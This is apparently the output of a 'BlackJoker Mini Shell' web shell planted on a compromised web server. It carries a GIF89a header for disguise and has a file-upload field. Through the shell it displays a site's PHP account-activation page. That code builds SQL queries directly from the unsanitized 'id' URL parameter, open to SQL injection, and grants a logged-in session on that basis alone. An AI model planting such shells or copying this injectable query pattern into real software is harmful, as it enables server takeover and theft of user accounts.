GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/activehobbyiestaccount.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
<? include "includes/header_top.php";?>
<script language="javascript">

	function validate()
	{		
		
		
		 if((document.f2.acctype[0].checked == false) &&(document.f2.acctype[1].checked == false) && (document.f2.acctype[2].checked == false)  && (document.f2.acctype[3].checked == false)  && (document.f2.acctype[4].checked == false))

		{
			
			alert("Select Your Account Type");
			return false;
			

		}
		
	}

	

</script>


<body>
<? include "includes/header.php";?>

<div class="main_bg">

 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	<div class="statedetails">
               <div class="stdtls_header">
                 	Congratulation...
               </div>
               <div class="stdtls_midder">
                 <div style="height:10px;"></div>
                 <div style=" width:950px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                 	<? 
                                if($_GET['id'])
                                {
                                $sql="SELECT * FROM user_info WHERE userid='".$_GET['id']."'";
                                $res=execute_query($sql);
                                $num=mysql_num_rows($res);
                                $row=mysql_fetch_array($res);
                                if($num>0)
                                {
                                    if($row['status']=='u')
                                    {
                                        $upd="UPDATE user_info SET status='a' WHERE userid='".$_GET['id']."'";
                                        execute_query($upd);
											$_SESSION['userlogin']="true";
											$_SESSION['userid']=$row['userid'];  
											$_SESSION['user']=$row['username'];											
											$_SESSION['countryname']=$row['user_country']
                                ?>
                                    <p style="margin-left:15px; color:#AD0066; text-align:center; font-family: 'Roboto Condensed', sans-serif; font-size:15px; font-weight:bold;">Your account has been activated successfully.</p> 
                                <?
                                    }
                                    else
                                    {
										$_SESSION['countryname']='US';
                                ?>
                                      <p style="margin-left:15px; color:#AD0066; text-align:center; font-size:14px; font-weight:bold;">Your account is already activated.  Please LOGIN with your username and password.</p> 
                                <?
                                    }
                                }
                                else
                                {
                                ?>
                                <p style="margin-left:15px; color:#AD0066; text-align:center; font-size:14px; font-weight:bold;">Invalid activation key.</p> 
                                <?
                                }
                            }
                            else
                            {
                            ?>
                            <script language="javascript">
                                location.href="index.php";
                            </script>
                            <? } ?> <br/><br/>
                            
                            
                    
                    
                      		       			
                 </div>
                    
               </div>
               <div class="stdtls_footer"></div>
             </div>	
            
            <br class="spacer" />          
            
        
        </div>
    
 </div>



<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0